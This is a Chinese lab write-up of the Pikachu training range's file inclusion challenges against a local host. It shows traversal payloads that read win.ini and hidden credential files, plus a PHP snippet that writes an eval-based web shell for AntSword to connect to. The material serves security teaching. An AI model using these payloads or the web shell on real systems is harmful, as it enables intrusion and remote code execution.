参考借鉴
Pikachu靶场之文件包含漏洞详解_pikachu文件包含-CSDN博客
文件包含(CTF教程,Web安全渗透入门)__bilibili
File Inclusion(local)
查找废弃隐藏文件
随机选一个然后提交查询
URL中出现filename=file2.php
filename是file2.php,其他文件名可能是filex.php(x是数字)
发现文件名确实是file1.php~file5.php
这套文件里可能有废弃或者隐藏的文件,用burpsuite进行爆破
爆破位置设置为文件名中的数字
payload设置为Numbers,从6到100,步长为1,然后攻击
不同长度的结果有三个,分别代表file6.php、file7.php、file10.php
把上面四个文件名都在浏览器地址栏试一下
发现file6.php是个包含用户名和密码的隐藏文件
file7.php返回了报错,通过这个报错可以知道,文件包含的函数是include()以及包含的文件路径,file10.php也是如此
读取不同文件夹文件
由上图可以看出网站根目录是:E:\phpStudy\phpstudy_pro\WWW\
在此目录下写入一个shell.txt格式的php代码
内容为:<? phpinfo();?>
由于路径参数中有个固定的include/,因此就不能用绝对路径,结合报错信息中泄露的结合报错信息中泄露的fi_local.php文件位置,算出相对路径为 ../../../shell.txt
payload:
http://127.0.0.1/vul/fileinclude/fi_local.php?filename=../../../shell.txt&submit=提交查询
成功读取文件
读取系统文件
结合报错信息中泄露的fi_local.php文件位置,算出相对路径为 C:/../../../../windows/win.ini
payload:
http://127.0.0.1/vul/fileinclude/fi_local.php?filename=C:/../../../../Windows/win.ini&submit=提交查询
成功读取文件
File Inclusion(remote)
allow_url_include=On
修改该目录下的文件 phpstudy_pro\Extensions\php\php7.3.4nts\php.ini
修改文件
重启服务
测试本地文件包含
发现url中把include()函数的完整参数给出来了,所以除了远程文件包含,
还可以本地文件包含,使用绝对路径
将filename更改为上一关创建的shell.txt的绝对路径
成功读取文件
包含有木马的文件
在fi_remote.php文件的同级目录下新建一个文件shell.php,并将一句话木马写入shell.php,将上题添加的shell.txt的文件内容更改为:
<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST[caker]) ?> ' ); ?>
payload:
http://127.0.0.1/vul/fileinclude/fi_remote.php?filename=E:\phpStudy\phpstudy_pro\WWW\shell.txt&submit=提交查询
没有回显
目录查看发现shell.php已经写入, 可以用蚁剑进行连接